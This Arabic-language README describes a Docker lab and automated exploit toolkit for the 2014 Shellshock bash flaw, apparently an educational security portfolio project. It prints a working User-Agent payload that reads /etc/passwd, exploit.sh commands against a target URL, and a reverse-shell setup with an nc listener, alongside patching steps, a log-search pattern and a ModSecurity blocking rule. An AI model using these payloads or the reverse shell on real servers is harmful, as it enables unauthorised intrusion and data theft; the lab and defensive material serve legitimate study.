إعادة إنشاء Shellshock (CVE-2014-6271) - ثغرة bash التي عرّضت ملايين الخوادم للخطر. مجموعة أدوات استغلال آلية + منهجية Burp Suite + مختبر Docker. أُنشئ للبحث الأمني والتعليم. مشروع ضمن محفظة مشاريع الأمن الهجومي.
مجموعة أدوات استغلال آلية لثغرة CVE-2014-6271 (شيلشوك)
مشروع بحث أمني متكامل يوضح ثغرة شيلشوك (Shellshock) التي أثرت على ملايين الخوادم في عام 2014. يتضمن فحصًا آليًا، وقدرات استغلال، وتوصيات دفاعية.
Demo
شيلشوك (CVE-2014-6271) هي ثغرة حرجة في قشرة Bash تسمح بتنفيذ الأوامر عن بُعد عبر التلاعب بمتغيرات البيئة. اكتُشفت في عام 2014 بعد أن ظلت موجودة لمدة 22 عامًا، وأثرت على ملايين أنظمة Unix/Linux حول العالم.
كيف تعمل:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
خوادم الويب التي تستخدم CGI تمرر ترويسات HTTP إلى Bash كمتغيرات بيئة، مما يجعلها عرضة للثغرة:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
الماسح الآلي
أداة الاستغلال
بيئة المختبر
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


عدّل ترويسة User-Agent:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

ينفّذ الخادم أمرك ويعيد لك المخرجات.
Client (Attacker)
│
│ HTTP Request with malicious User-Agent
▼
Web Server
│
│ Passes header as environment variable
▼
CGI Script
│
│ Spawns Bash process
▼
Bash Shell
│
│ Parses function + executes trailing commands
▼
Command Execution (RCE)
عندما تصادف Bash تعريف دالة في متغير بيئة:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # Main tool
├── payloads.txt # Test payloads
├── docker-compose.yml # Lab setup
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
لأغراض تعليمية فقط. لا تختبر سوى الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها. الوصول غير المصرح به غير قانوني.
صُمم لفهم كيفية عمل الثغرات وكيفية الدفاع ضدها. ;)